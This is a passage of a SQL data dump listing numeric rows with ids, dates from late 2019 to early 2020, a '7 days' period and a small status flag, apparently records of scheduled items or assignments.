days',1),(12293,5794,1290,618,222,85,'2019-11-04','7 days',0),(12294,5792,1290,618,222,85,'2019-11-04','7 days',0),(12295,5791,1290,618,222,85,'2019-11-04','7 days',0),(12296,9663,1674,2077,221,85,'2019-11-04','7 days',1),(12307,999,2876,3731,190,45,'2019-11-05','7 days',0),(12308,9206,2876,3731,190,45,'2019-11-05','7 days',1),(12309,5467,2876,3731,190,45,'2019-11-05','7 days',1),(12310,1989,2876,3731,190,45,'2019-11-05','7 days',1),(12311,8926,2876,3731,190,45,'2019-11-05','7 days',0),(12356,9715,2838,3681,203,86,'2019-11-06','7 days',0),(12357,9714,2838,3681,203,86,'2019-11-06','7 days',2),(12358,9713,2838,3681,203,86,'2019-11-06','7 days',0),(12359,9712,2838,3681,203,86,'2019-11-06','7 days',0),(12360,9711,2838,3681,203,86,'2019-11-06','7 days',0),(12361,9710,2838,3681,203,86,'2019-11-06','7 days',0),(12362,9709,2838,3681,203,86,'2019-11-06','7 days',0),(12363,9708,2838,3681,203,86,'2019-11-06','7 days',0),(12364,9718,2759,3570,204,86,'2019-11-06','7 days',0),(12365,9717,2759,3570,204,86,'2019-11-06','7 days',0),(12366,9716,2759,3570,204,86,'2019-11-06','7 days',0),(12367,9612,2759,3570,204,86,'2019-11-06','7 days',1),(12368,9611,2759,3570,204,86,'2019-11-06','7 days',2),(12369,7421,2877,3730,1070,326,'2019-11-06','7 days',0),(12370,7420,2877,3730,1070,326,'2019-11-06','7 days',2),(12371,7419,2877,3730,1070,326,'2019-11-06','7 days',0),(12372,7418,2877,3730,1070,326,'2019-11-06','7 days',1),(12373,7417,2877,3730,1070,326,'2019-11-06','7 days',0),(12374,7416,2877,3730,1070,326,'2019-11-06','7 days',1),(12375,9719,2877,3730,1070,326,'2019-11-07','7 days',0),(12376,9720,2877,3730,1070,326,'2019-11-07','7 days',1),(12382,9727,2645,2851,1251,86,'2019-11-07','7 days',0),(12383,9001,2645,2851,1251,86,'2019-11-07','7 days',0),(12388,4516,2832,3673,633,639,'2019-11-07','7 days',1),(12389,4514,2832,3673,633,639,'2019-11-07','7 days',1),(12390,4499,2832,3673,633,639,'2019-11-07','7 days',0),(12391,4467,2832,3673,633,639,'2019-11-07','7 days',2),(12392,4460,2832,3673,633,639,'2019-11-07','7 days',2),(12393,4512,2858,3707,634,639,'2019-11-07','7 days',1),(12394,4494,2858,3707,634,639,'2019-11-07','7 days',1),(12395,4487,2858,3707,634,639,'2019-11-07','7 days',0),(12396,4483,2858,3707,634,639,'2019-11-07','7 days',0),(12397,4477,2858,3707,634,639,'2019-11-07','7 days',0),(12398,4473,2858,3707,634,639,'2019-11-07','7 days',1),(12411,9756,2887,3744,1291,86,'2019-11-07','7 days',0),(12412,9755,2887,3744,1291,86,'2019-11-07','7 days',0),(12414,9753,2887,3744,1291,86,'2019-11-07','7 days',0),(12415,9752,2887,3744,1291,86,'2019-11-07','7 days',0),(12416,9751,2887,3744,1291,86,'2019-11-07','7 days',0),(12439,9765,2887,3744,1291,86,'2019-11-08','7 days',1),(12440,9764,2887,3744,1291,86,'2019-11-08','7 days',1),(12442,9133,2697,3484,1011,91,'2019-11-08','7 days',1),(12443,7287,2697,3484,1011,91,'2019-11-08','7 days',1),(12448,7022,2755,3564,1011,91,'2019-11-08','7 days',1),(12449,4516,2858,3707,634,639,'2019-11-08','7 days',1),(12450,4514,2858,3707,634,639,'2019-11-08','7 days',1),(12451,4499,2858,3707,634,639,'2019-11-08','7 days',0),(12452,4467,2858,3707,634,639,'2019-11-08','7 days',2),(12453,4460,2858,3707,634,639,'2019-11-08','7 days',2),(12454,4512,2832,3673,633,639,'2019-11-08','7 days',1),(12455,4494,2832,3673,633,639,'2019-11-08','7 days',1),(12456,4487,2832,3673,633,639,'2019-11-08','7 days',0),(12457,4483,2832,3673,633,639,'2019-11-08','7 days',2),(12458,4477,2832,3673,633,639,'2019-11-08','7 days',0),(12459,4473,2832,3673,633,639,'2019-11-08','7 days',2),(12460,4452,2768,3582,634,639,'2019-11-08','7 days',1),(12461,8796,2768,3582,634,639,'2019-11-08','7 days',1),(12462,4502,2768,3582,634,639,'2019-11-08','7 days',0),(12463,4452,2120,2710,634,639,'2019-11-08','7 days',1),(12464,4473,2120,2710,634,639,'2019-11-08','7 days',2),(12523,9795,2877,3730,1070,326,'2019-11-11','7 days',1),(12524,9796,2877,3730,1070,326,'2019-11-11','7 days',0),(12525,9797,2877,3730,1070,326,'2019-11-11','7 days',1),(12528,9803,2877,3730,1070,326,'2019-11-11','7 days',1),(12529,9802,2877,3730,1070,326,'2019-11-11','7 days',0),(12530,9801,2877,3730,1070,326,'2019-11-11','7 days',0),(12531,9800,2877,3730,1070,326,'2019-11-11','7 days',0),(12532,9798,2877,3730,1070,326,'2019-11-11','7 days',0),(12534,9805,2877,3730,1070,326,'2019-11-11','7 days',0),(12572,8796,2832,3673,633,639,'2019-11-12','7 days',1),(12573,6244,2727,3312,221,85,'2019-11-12','7 days',2),(12574,6244,2723,3520,222,85,'2019-11-12','7 days',2),(12575,5798,557,619,222,85,'2019-11-12','7 days',0),(12576,9797,2844,3689,1068,326,'2019-11-13','7 days',1),(12598,4502,2832,3673,633,639,'2019-11-13','7 days',0),(12604,9797,2919,3800,1067,326,'2019-11-13','7 days',1),(12605,9795,2919,3800,1067,326,'2019-11-13','7 days',0),(12606,9720,2919,3800,1067,326,'2019-11-13','7 days',1),(12607,7418,2919,3800,1067,326,'2019-11-13','7 days',1),(12608,7415,2919,3800,1067,326,'2019-11-13','7 days',1),(12635,6240,2727,3312,221,85,'2019-11-13','7 days',2),(12636,6239,2727,3312,221,85,'2019-11-13','7 days',2),(12637,6246,555,617,221,85,'2019-11-13','7 days',0),(12638,6245,555,617,221,85,'2019-11-13','7 days',0),(12639,6242,555,617,221,85,'2019-11-13','7 days',0),(12640,6240,555,617,221,85,'2019-11-13','7 days',2),(12641,6239,555,617,221,85,'2019-11-13','7 days',0),(12642,6244,1290,618,222,85,'2019-11-13','7 days',2),(12643,7021,2902,3767,1011,91,'2019-11-14','7 days',1),(12644,7023,2902,3767,1011,91,'2019-11-14','7 days',0),(12645,9159,2902,3767,1011,91,'2019-11-14','7 days',1),(12646,9155,2902,3767,1011,91,'2019-11-14','7 days',1),(12688,9897,2617,3369,1235,277,'2019-11-15','7 days',1),(12689,9911,2694,3480,1235,277,'2019-11-15','7 days',0),(12690,6348,2759,3570,204,86,'2019-11-15','7 days',1),(12691,6188,2759,3570,204,86,'2019-11-15','7 days',2),(12692,5738,2759,3570,204,86,'2019-11-15','7 days',2),(12693,5736,2759,3570,204,86,'2019-11-15','7 days',0),(12694,5734,2759,3570,204,86,'2019-11-15','7 days',0),(12695,5732,2759,3570,204,86,'2019-11-15','7 days',2),(12696,5731,2759,3570,204,86,'2019-11-15','7 days',0),(12697,938,2759,3570,204,86,'2019-11-15','7 days',0),(12699,936,2759,3570,204,86,'2019-11-15','7 days',1),(12700,9718,2756,3565,1251,86,'2019-11-15','7 days',0),(12701,9717,2756,3565,1251,86,'2019-11-15','7 days',0),(12702,9716,2756,3565,1251,86,'2019-11-15','7 days',0),(12703,9608,2756,3565,1251,86,'2019-11-15','7 days',0),(12704,9607,2756,3565,1251,86,'2019-11-15','7 days',2),(12705,9606,2756,3565,1251,86,'2019-11-15','7 days',0),(12706,5753,2645,2851,1251,86,'2019-11-15','7 days',0),(12707,5751,2645,2851,1251,86,'2019-11-15','7 days',1),(12708,5743,2645,2851,1251,86,'2019-11-15','7 days',1),(12709,9755,2645,2851,1251,86,'2019-11-15','7 days',2),(12710,9753,2645,2851,1251,86,'2019-11-15','7 days',0),(12711,9752,2645,2851,1251,86,'2019-11-15','7 days',0),(12712,9751,2645,2851,1251,86,'2019-11-15','7 days',0),(12713,9090,1394,1697,203,86,'2019-11-15','7 days',0),(12714,9007,1394,1697,203,86,'2019-11-15','7 days',0),(12715,9006,1394,1697,203,86,'2019-11-15','7 days',0),(12716,9005,1394,1697,203,86,'2019-11-15','7 days',0),(12717,9004,1394,1697,203,86,'2019-11-15','7 days',1),(12718,9003,1394,1697,203,86,'2019-11-15','7 days',0),(12719,9921,2744,3547,359,251,'2019-11-15','7 days',0),(12720,9920,2744,3547,359,251,'2019-11-15','7 days',0),(12721,9919,2744,3547,359,251,'2019-11-15','7 days',0),(12722,9918,2744,3547,359,251,'2019-11-15','7 days',0),(12723,9917,2744,3547,359,251,'2019-11-15','7 days',0),(12724,9916,2744,3547,359,251,'2019-11-15','7 days',0),(12725,9915,2744,3547,359,251,'2019-11-15','7 days',1),(12726,9914,2744,3547,359,251,'2019-11-15','7 days',1),(12727,9913,2744,3547,359,251,'2019-11-15','7 days',2),(12728,9912,2744,3547,359,251,'2019-11-15','7 days',0),(12729,9931,2777,3591,357,251,'2019-11-15','7 days',0),(12730,9930,2777,3591,357,251,'2019-11-15','7 days',0),(12731,9929,2777,3591,357,251,'2019-11-15','7 days',0),(12732,9928,2777,3591,357,251,'2019-11-15','7 days',0),(12733,9927,2777,3591,357,251,'2019-11-15','7 days',0),(12734,9926,2777,3591,357,251,'2019-11-15','7 days',0),(12735,9925,2777,3591,357,251,'2019-11-15','7 days',0),(12736,9924,2777,3591,357,251,'2019-11-15','7 days',0),(12737,9923,2777,3591,357,251,'2019-11-15','7 days',1),(12738,9922,2777,3591,357,251,'2019-11-15','7 days',0),(12739,9936,2933,3819,357,251,'2019-11-15','7 days',1),(12740,9935,2933,3819,357,251,'2019-11-15','7 days',2),(12741,9934,2933,3819,357,251,'2019-11-15','7 days',0),(12742,9933,2933,3819,357,251,'2019-11-15','7 days',1),(12743,9932,2933,3819,357,251,'2019-11-15','7 days',1),(12806,4516,2939,3829,633,639,'2019-11-19','7 days',1),(12807,4514,2939,3829,633,639,'2019-11-19','7 days',1),(12808,4499,2939,3829,633,639,'2019-11-19','7 days',0),(12809,4467,2939,3829,633,639,'2019-11-19','7 days',2),(12810,4460,2939,3829,633,639,'2019-11-19','7 days',2),(12845,10011,2933,3819,357,251,'2019-11-20','7 days',0),(12846,10010,2933,3819,357,251,'2019-11-20','7 days',1),(12847,10009,2933,3819,357,251,'2019-11-20','7 days',0),(12848,10008,2933,3819,357,251,'2019-11-20','7 days',1),(12849,10007,2933,3819,357,251,'2019-11-20','7 days',0),(12850,10006,2933,3819,357,251,'2019-11-20','7 days',0),(12851,10005,2933,3819,357,251,'2019-11-20','7 days',0),(12852,10004,2933,3819,357,251,'2019-11-20','7 days',0),(12853,10003,2933,3819,357,251,'2019-11-20','7 days',2),(12854,10002,2933,3819,357,251,'2019-11-20','7 days',0),(12931,5467,2934,3820,193,45,'2019-11-22','7 days',1),(12932,1989,2934,3820,193,45,'2019-11-22','7 days',1),(12933,1407,2934,3820,193,45,'2019-11-22','7 days',0),(12934,1406,2934,3820,193,45,'2019-11-22','7 days',0),(12935,1405,2934,3820,193,45,'2019-11-22','7 days',0),(12936,8795,2581,499,191,45,'2019-11-22','7 days',1),(12937,1000,2581,499,191,45,'2019-11-22','7 days',1),(12938,9206,2581,499,191,45,'2019-11-22','7 days',1),(12939,908,2581,499,191,45,'2019-11-22','7 days',0),(12940,907,2581,499,191,45,'2019-11-22','7 days',0),(12941,906,2581,499,191,45,'2019-11-22','7 days',0),(12976,4502,2939,3829,633,639,'2019-11-23','7 days',0),(12977,4510,2939,3829,633,639,'2019-11-23','7 days',0),(12978,4506,2939,3829,633,639,'2019-11-23','7 days',1),(12979,4452,2939,3829,633,639,'2019-11-23','7 days',0),(12980,4512,2939,3829,633,639,'2019-11-23','7 days',1),(12981,4494,2939,3829,633,639,'2019-11-23','7 days',1),(12982,4487,2939,3829,633,639,'2019-11-23','7 days',0),(12983,4483,2939,3829,633,639,'2019-11-23','7 days',2),(12984,4477,2939,3829,633,639,'2019-11-23','7 days',0),(12985,4473,2939,3829,633,639,'2019-11-23','7 days',1),(13066,6243,2759,3570,204,86,'2019-11-26','7 days',0),(13067,6241,2759,3570,204,86,'2019-11-26','7 days',0),(13177,8603,2852,3688,357,251,'2019-11-28','7 days',0),(13178,8602,2852,3688,357,251,'2019-11-28','7 days',0),(13179,8601,2852,3688,357,251,'2019-11-28','7 days',0),(13180,8600,2852,3688,357,251,'2019-11-28','7 days',0),(13181,8599,2852,3688,357,251,'2019-11-28','7 days',1),(13182,8598,2852,3688,357,251,'2019-11-28','7 days',0),(13183,8597,2852,3688,357,251,'2019-11-28','7 days',0),(13184,8596,2852,3688,357,251,'2019-11-28','7 days',0),(13238,6238,2727,3312,221,85,'2019-11-29','7 days',2),(13239,6237,2727,3312,221,85,'2019-11-29','7 days',0),(13240,6236,2727,3312,221,85,'2019-11-29','7 days',2),(13241,6219,2727,3312,221,85,'2019-11-29','7 days',0),(13242,5799,2727,3312,221,85,'2019-11-29','7 days',0),(13243,5798,2727,3312,221,85,'2019-11-29','7 days',0),(13264,4510,2832,3673,633,639,'2019-11-29','7 days',2),(13265,4506,2832,3673,633,639,'2019-11-29','7 days',1),(13266,6238,555,617,221,85,'2019-11-29','7 days',1),(13267,6237,555,617,221,85,'2019-11-29','7 days',0),(13268,5797,2727,3312,221,85,'2019-11-29','7 days',0),(13359,9012,1457,1780,160,73,'2019-11-29','7 days',0),(13360,9010,1457,1780,160,73,'2019-11-29','7 days',0),(13361,641,1457,1780,160,73,'2019-11-29','7 days',0),(13362,638,1457,1780,160,73,'2019-11-29','7 days',0),(13363,8784,2988,3898,160,73,'2019-11-30','7 days',1),(13364,8783,2988,3898,160,73,'2019-11-30','7 days',0),(13365,656,2988,3898,160,73,'2019-11-30','7 days',1),(13366,653,2988,3898,160,73,'2019-11-30','7 days',0),(13371,10212,3011,3933,1310,959,'2019-11-30','7 days',1),(13372,10211,3011,3933,1310,959,'2019-11-30','7 days',1),(13400,10251,3011,3933,1310,959,'2019-12-02','7 days',1),(13407,9610,2759,3570,204,86,'2019-12-02','7 days',2),(13408,5751,2759,3570,204,86,'2019-12-02','7 days',1),(13409,5749,2759,3570,204,86,'2019-12-02','7 days',2),(13410,5747,2759,3570,204,86,'2019-12-02','7 days',2),(13411,5745,2759,3570,204,86,'2019-12-02','7 days',0),(13412,5743,2759,3570,204,86,'2019-12-02','7 days',1),(13466,672,1497,1841,162,73,'2019-12-02','7 days',0),(13467,661,1497,1841,162,73,'2019-12-02','7 days',1),(13468,659,1497,1841,162,73,'2019-12-02','7 days',1),(13469,647,1497,1841,162,73,'2019-12-02','7 days',0),(13470,642,1497,1841,162,73,'2019-12-02','7 days',0),(13471,640,1497,1841,162,73,'2019-12-02','7 days',0),(13472,639,1497,1841,162,73,'2019-12-02','7 days',0),(13473,637,1497,1841,162,73,'2019-12-02','7 days',0),(13474,636,1497,1841,162,73,'2019-12-02','7 days',0),(13475,629,1497,1841,162,73,'2019-12-02','7 days',0),(13476,657,2988,3898,160,73,'2019-12-02','7 days',0),(13477,9012,2988,3898,160,73,'2019-12-02','7 days',0),(13478,9010,2988,3898,160,73,'2019-12-02','7 days',0),(13479,8785,2988,3898,160,73,'2019-12-02','7 days',0),(13480,8782,2988,3898,160,73,'2019-12-02','7 days',1),(13481,652,2988,3898,160,73,'2019-12-02','7 days',0),(13482,643,2988,3898,160,73,'2019-12-02','7 days',2),(13521,10286,2723,3520,222,85,'2019-12-03','7 days',0),(13522,10285,2723,3520,222,85,'2019-12-03','7 days',0),(13523,10285,1674,2077,221,85,'2019-12-03','7 days',0),(13524,6236,555,617,221,85,'2019-12-03','7 days',2),(13525,10286,1290,618,222,85,'2019-12-03','7 days',0),(13526,10285,1290,618,222,85,'2019-12-03','7 days',0),(13537,10287,2988,3898,160,73,'2019-12-04','7 days',1),(13538,650,2988,3898,160,73,'2019-12-04','7 days',1),(13539,649,2988,3898,160,73,'2019-12-04','7 days',0),(13540,646,2988,3898,160,73,'2019-12-04','7 days',0),(13541,645,2988,3898,160,73,'2019-12-04','7 days',1),(13660,5467,2943,3833,189,45,'2019-12-06','7 days',1),(13661,1989,2943,3833,189,45,'2019-12-06','7 days',1),(13662,8926,2943,3833,189,45,'2019-12-06','7 days',0),(13663,8925,2943,3833,189,45,'2019-12-06','7 days',0),(13664,2238,2943,3833,189,45,'2019-12-06','7 days',2),(13665,907,3026,3957,188,45,'2019-12-06','7 days',0),(13666,906,3026,3957,188,45,'2019-12-06','7 days',0),(13667,904,3026,3957,188,45,'2019-12-06','7 days',0),(13668,903,3026,3957,188,45,'2019-12-06','7 days',1),(13669,902,3026,3957,188,45,'2019-12-06','7 days',0),(13670,9206,3033,3970,190,45,'2019-12-06','7 days',1),(13671,9651,3033,3970,190,45,'2019-12-06','7 days',0),(13672,999,3033,3970,190,45,'2019-12-06','7 days',2),(13673,5467,3033,3970,190,45,'2019-12-06','7 days',1),(13674,1989,3033,3970,190,45,'2019-12-06','7 days',1),(13675,10058,3035,3972,192,45,'2019-12-06','7 days',0),(13676,911,3035,3972,192,45,'2019-12-06','7 days',0),(13677,910,3035,3972,192,45,'2019-12-06','7 days',0),(13678,909,3035,3972,192,45,'2019-12-06','7 days',0),(13679,908,3035,3972,192,45,'2019-12-06','7 days',0),(13718,6244,3037,3974,222,85,'2019-12-06','7 days',2),(13719,6244,3036,3974,221,85,'2019-12-06','7 days',2),(13720,4452,2832,3673,633,639,'2019-12-06','7 days',2),(13757,10286,1674,2077,221,85,'2019-12-07','7 days',0),(13786,10393,2874,3073,1315,959,'2019-12-09','7 days',1),(13787,10251,2874,3073,1315,959,'2019-12-09','7 days',1),(13788,10211,2874,3073,1315,959,'2019-12-09','7 days',1),(13803,10286,3037,3974,222,85,'2019-12-09','7 days',0),(13804,10285,3037,3974,222,85,'2019-12-09','7 days',0),(13805,9663,3037,3974,222,85,'2019-12-09','7 days',0),(13806,6246,3037,3974,222,85,'2019-12-09','7 days',0),(13807,10286,3036,3974,221,85,'2019-12-09','7 days',0),(13808,10285,3036,3974,221,85,'2019-12-09','7 days',0),(13809,9663,3036,3974,221,85,'2019-12-09','7 days',1),(13810,6246,3036,3974,221,85,'2019-12-09','7 days',0),(13811,6245,3036,3974,221,85,'2019-12-09','7 days',0),(13955,6245,3037,3974,222,85,'2019-12-13','7 days',0),(13956,6242,3037,3974,222,85,'2019-12-13','7 days',2),(13957,6240,3037,3974,222,85,'2019-12-13','7 days',2),(13958,6239,3037,3974,222,85,'2019-12-13','7 days',0),(13982,4516,3050,3736,633,639,'2019-12-13','7 days',1),(13983,4514,3050,3736,633,639,'2019-12-13','7 days',1),(13984,4499,3050,3736,633,639,'2019-12-13','7 days',0),(13985,4467,3050,3736,633,639,'2019-12-13','7 days',2),(13986,4460,3050,3736,633,639,'2019-12-13','7 days',2),(13987,4512,3043,3984,634,639,'2019-12-13','7 days',1),(13988,4494,3043,3984,634,639,'2019-12-13','7 days',1),(13989,4487,3043,3984,634,639,'2019-12-13','7 days',0),(13990,4483,3043,3984,634,639,'2019-12-13','7 days',2),(13991,4477,3043,3984,634,639,'2019-12-13','7 days',2),(13992,4502,2858,3707,634,639,'2019-12-13','7 days',0),(14038,5409,3072,4020,358,251,'2019-12-17','7 days',1),(14039,5408,3072,4020,358,251,'2019-12-17','7 days',0),(14040,5407,3072,4020,358,251,'2019-12-17','7 days',1),(14041,5406,3072,4020,358,251,'2019-12-17','7 days',1),(14042,5405,3072,4020,358,251,'2019-12-17','7 days',0),(14043,5404,3072,4020,358,251,'2019-12-17','7 days',1),(14044,4275,3072,4020,358,251,'2019-12-17','7 days',0),(14065,8796,3071,4019,634,639,'2019-12-18','7 days',1),(14066,4502,3071,4019,634,639,'2019-12-18','7 days',0),(14104,10393,3011,3933,1310,959,'2019-12-19','7 days',1),(14140,9206,3045,3986,192,45,'2019-12-20','7 days',1),(14141,1359,3045,3986,192,45,'2019-12-20','7 days',0),(14142,1358,3045,3986,192,45,'2019-12-20','7 days',0),(14143,889,3045,3986,192,45,'2019-12-20','7 days',1),(14144,888,3045,3986,192,45,'2019-12-20','7 days',1),(14145,907,3035,3972,192,45,'2019-12-20','7 days',0),(14146,906,3035,3972,192,45,'2019-12-20','7 days',0),(14147,905,3035,3972,192,45,'2019-12-20','7 days',0),(14148,904,3035,3972,192,45,'2019-12-20','7 days',0),(14149,903,3035,3972,192,45,'2019-12-20','7 days',1),(14163,5408,3074,4022,357,251,'2019-12-21','7 days',0),(14164,5407,3074,4022,357,251,'2019-12-21','7 days',0),(14165,5406,3074,4022,357,251,'2019-12-21','7 days',1),(14166,5405,3074,4022,357,251,'2019-12-21','7 days',0),(14167,5404,3074,4022,357,251,'2019-12-21','7 days',1),(14168,8599,2856,3705,359,251,'2019-12-21','7 days',1),(14169,8598,2856,3705,359,251,'2019-12-21','7 days',0),(14170,8597,2856,3705,359,251,'2019-12-21','7 days',0),(14171,8596,2856,3705,359,251,'2019-12-21','7 days',0),(14172,8595,2856,3705,359,251,'2019-12-21','7 days',2),(14193,6199,2759,3570,204,86,'2019-12-23','7 days',0),(14194,5755,2759,3570,204,86,'2019-12-23','7 days',0),(14195,5754,2759,3570,204,86,'2019-12-23','7 days',2),(14196,5753,2759,3570,204,86,'2019-12-23','7 days',0),(14197,5741,2759,3570,204,86,'2019-12-23','7 days',1),(14198,5739,2759,3570,204,86,'2019-12-23','7 days',0),(14221,10211,3098,4054,1324,959,'2019-12-23','7 days',1),(14222,10393,3098,4054,1324,959,'2019-12-23','7 days',1),(14410,10287,3122,4089,160,73,'2019-12-28','7 days',1),(14411,671,3122,4089,160,73,'2019-12-28','7 days',0),(14419,8781,3122,4089,160,73,'2019-12-28','7 days',0),(14420,672,3122,4089,160,73,'2019-12-28','7 days',0),(14421,661,3122,4089,160,73,'2019-12-28','7 days',1),(14423,10682,3126,4004,1291,86,'2019-12-28','7 days',0),(14424,10681,3126,4004,1291,86,'2019-12-28','7 days',1),(14425,10680,3126,4004,1291,86,'2019-12-28','7 days',0),(14426,10679,3126,4004,1291,86,'2019-12-28','7 days',0),(14427,10678,3126,4004,1291,86,'2019-12-28','7 days',2),(14428,10677,3126,4004,1291,86,'2019-12-28','7 days',0),(14429,10676,3126,4004,1291,86,'2019-12-28','7 days',0),(14432,10684,3126,4004,1291,86,'2019-12-29','7 days',1),(14433,10685,3126,4004,1291,86,'2019-12-29','7 days',1),(14467,8590,2584,3324,1235,277,'2019-12-31','7 days',1),(14468,7418,3140,4108,1069,326,'2019-12-31','7 days',1),(14469,7415,3140,4108,1069,326,'2019-12-31','7 days',1),(14547,10251,3098,4054,1324,959,'2020-01-02','7 days',1),(14563,10393,3150,4120,1324,959,'2020-01-03','7 days',1),(14564,10211,3150,4120,1324,959,'2020-01-03','7 days',1),(14584,8796,3050,3736,633,639,'2020-01-03','7 days',1),(14585,4502,3050,3736,633,639,'2020-01-03','7 days',0),(14608,10779,3050,3736,633,639,'2020-01-06','7 days',1),(14650,654,3154,4125,160,73,'2020-01-07','7 days',0),(14651,659,3154,4125,160,73,'2020-01-07','7 days',1),(14652,639,3154,4125,160,73,'2020-01-07','7 days',0),(14653,637,3154,4125,160,73,'2020-01-07','7 days',0),(14654,629,3154,4125,160,73,'2020-01-07','7 days',1),(14697,7021,3178,4159,1011,91,'2020-01-13','7 days',1),(14698,7022,3178,4159,1011,91,'2020-01-13','7 days',1),(14699,9133,3178,4159,1011,91,'2020-01-13','7 days',1),(14700,9537,3178,4159,1011,91,'2020-01-13','7 days',1),(14701,7418,3185,4167,1067,326,'2020-01-13','7 days',1),(14702,7415,3185,4167,1067,326,'2020-01-13','7 days',1),(14705,10807,3177,4158,1251,86,'2020-01-13','7 days',0),(14706,10806,3177,4158,1251,86,'2020-01-13','7 days',1),(14707,10805,3177,4158,1251,86,'2020-01-13','7 days',0),(14708,10804,3177,4158,1251,86,'2020-01-13','7 days',2),(14709,6199,3177,4158,1251,86,'2020-01-13','7 days',0),(14710,5755,3177,4158,1251,86,'2020-01-13','7 days',0),(14711,5754,3177,4158,1251,86,'2020-01-13','7 days',0),(14712,5753,3177,4158,1251,86,'2020-01-13','7 days',0),(14713,5751,3177,4158,1251,86,'2020-01-13','7 days',1),(14714,5749,3177,4158,1251,86,'2020-01-13','7 days',0),(14715,5747,3177,4158,1251,86,'2020-01-13','7 days',0),(14716,5745,3177,4158,1251,86,'2020-01-13','7 days',0),(14717,5743,3177,4158,1251,86,'2020-01-13','7 days',0),(14718,5741,3177,4158,1251,86,'2020-01-13','7 days',1),(14719,5739,3177,4158,1251,86,'2020-01-13','7 days',0),(14728,10251,3195,4184,1324,959,'2020-01-13','7 days',1),(14729,10211,3195,4184,1324,959,'2020-01-13','7 days',1),(14730,10393,3195,4184,1324,959,'2020-01-13','7 days',1),(14736,9805,3185,4167,1067,326,'2020-01-13','7 days',0),(14737,9803,3185,4167,1067,326,'2020-01-13','7 days',1),(14738,9802,3185,4167,1067,326,'2020-01-13','7 days',0),(14739,9801,3185,4167,1067,326,'2020-01-13','7 days',0),(14740,9800,3185,4167,1067,326,'2020-01-13','7 days',0),(14741,9798,3185,4167,1067,326,'2020-01-13','7 days',0),(14784,8784,1497,1841,162,73,'2020-01-16','7 days',1),(14785,8783,1497,1841,162,73,'2020-01-16','7 days',0),(14786,656,1497,1841,162,73,'2020-01-16','7 days',1),(14787,653,1497,1841,162,73,'2020-01-16','7 days',0),(14788,671,1497,1841,162,73,'2020-01-16','7 days',2),(14789,9012,1497,1841,162,73,'2020-01-16','7 days',0),(14790,9010,1497,1841,162,73,'2020-01-16','7 days',0),(14791,8785,1497,1841,162,73,'2020-01-16','7 days',0),(14792,8782,1497,1841,162,73,'2020-01-16','7 days',1),(14793,652,1497,1841,162,73,'2020-01-16','7 days',0),(14794,651,1497,1841,162,73,'2020-01-16','7 days',0),(14795,644,1497,1841,162,73,'2020-01-16','7 days',1),(14796,643,1497,1841,162,73,'2020-01-16','7 days',0),(14797,641,1497,1841,162,73,'2020-01-16','7 days',0),(14798,638,1497,1841,162,73,'2020-01-16','7 days',0),(14799,635,1497,1841,162,73,'2020-01-16','7 days',0),(14800,630,1497,1841,162,73,'2020-01-16','7 days',2),(14801,8781,1457,1780,160,73,'2020-01-16','7 days',0),(14802,672,1457,1780,160,73,'2020-01-16','7 days',0),(14803,661,1457,1780,160,73,'2020-01-16','7 days',2),(14804,659,1457,1780,160,73,'2020-01-16','7 days',1),(14805,647,1457,1780,160,73,'2020-01-16','7 days',0),(14806,642,1457,1780,160,73,'2020-01-16','7 days',0),(14807,640,1457,1780,160,73,'2020-01-16','7 days',0),(14808,639,1457,1780,160,73,'2020-01-16','7 days',0),(14809,637,1457,1780,160,73,'2020-01-16','7 days',0),(14810,636,1457,1780,160,73,'2020-01-16','7 days',0),(14811,629,1457,1780,160,73,'2020-01-16','7 days',1),(14975,10858,3213,4213,222,85,'2020-01-20','7 days',0),(14976,10857,3213,4213,222,85,'2020-01-20','7 days',0),(14977,10856,3213,4213,222,85,'2020-01-20','7 days',0),(14978,10855,3213,4213,222,85,'2020-01-20','7 days',0),(14979,10854,3213,4213,222,85,'2020-01-20','7 days',1),(14980,10853,3213,4213,222,85,'2020-01-20','7 days',0),(14981,10286,3213,4213,222,85,'2020-01-20','7 days',0),(14982,10285,3213,4213,222,85,'2020-01-20','7 days',0),(14983,9663,3213,4213,222,85,'2020-01-20','7 days',0),(14984,6246,3213,4213,222,85,'2020-01-20','7 days',2),(14985,6245,3213,4213,222,85,'2020-01-20','7 days',0),(14986,6242,3213,4213,222,85,'2020-01-20','7 days',0),(14987,6240,3213,4213,222,85,'2020-01-20','7 days',0),(14988,6239,3213,4213,222,85,'2020-01-20','7 days',0),(14989,6238,3213,4213,222,85,'2020-01-20','7 days',2),(14990,6237,3213,4213,222,85,'2020-01-20','7 days',0),(14991,6236,3213,4213,222,85,'2020-01-20','7 days',0),(14992,6219,3213,4213,222,85,'2020-01-20','7 days',0),(14993,5799,3213,4213,222,85,'2020-01-20','7 days',2),(14994,5798,3213,4213,222,85,'2020-01-20','7 days',0),(14995,5797,3213,4213,222,85,'2020-01-20','7 days',1),(14996,5796,3213,4213,222,85,'2020-01-20','7 days',0),(14997,5795,3213,4213,222,85,'2020-01-20','7 days',1),(14998,5794,3213,4213,222,85,'2020-01-20','7 days',0),(14999,5792,3213,4213,222,85,'2020-01-20','7 days',0),(15000,5791,3213,4213,222,85,'2020-01-20','7 days',0),(15018,4516,3202,4193,633,639,'2020-01-21','7 days',1),(15019,4514,3202,4193,633,639,'2020-01-21','7 days',1),(15020,4499,3202,4193,633,639,'2020-01-21','7 days',0),(15021,4467,3202,4193,633,639,'2020-01-21','7 days',2),(15022,4460,3202,4193,633,639,'2020-01-21','7 days',2),(15087,10876,3213,4213,222,85,'2020-01-22','7 days',0),(15098,10892,3213,4213,222,85,'2020-01-23','7 days',0),(15099,10891,3213,4213,222,85,'2020-01-23','7 days',0),(15100,10890,3213,4213,222,85,'2020-01-23','7 days',0),(15101,10889,3213,4213,222,85,'2020-01-23','7 days',1),(15102,10888,3213,4213,222,85,'2020-01-23','7 days',0),(15103,10887,3213,4213,222,85,'2020-01-23','7 days',0),(15104,10886,3213,4213,222,85,'2020-01-23','7 days',0),(15105,10885,3213,4213,222,85,'2020-01-23','7 days',0),(15126,10905,3037,3974,222,85,'2020-01-24','7 days',0),(15127,10904,3037,3974,222,85,'2020-01-24','7 days',0),(15128,10903,3037,3974,222,85,'2020-01-24','7 days',0),(15129,10902,3037,3974,222,85,'2020-01-24','7 days',1),(15130,10901,3037,3974,222,85,'2020-01-24','7 days',0),(15131,10900,3037,3974,222,85,'2020-01-24','7 days',0),(15132,10905,3036,3974,221,85,'2020-01-24','7 days',0),(15133,10904,3036,3974,221,85,'2020-01-24','7 days',0),(15134,10903,3036,3974,221,85,'2020-01-24','7 days',0),(15135,10902,3036,3974,221,85,'2020-01-24','7 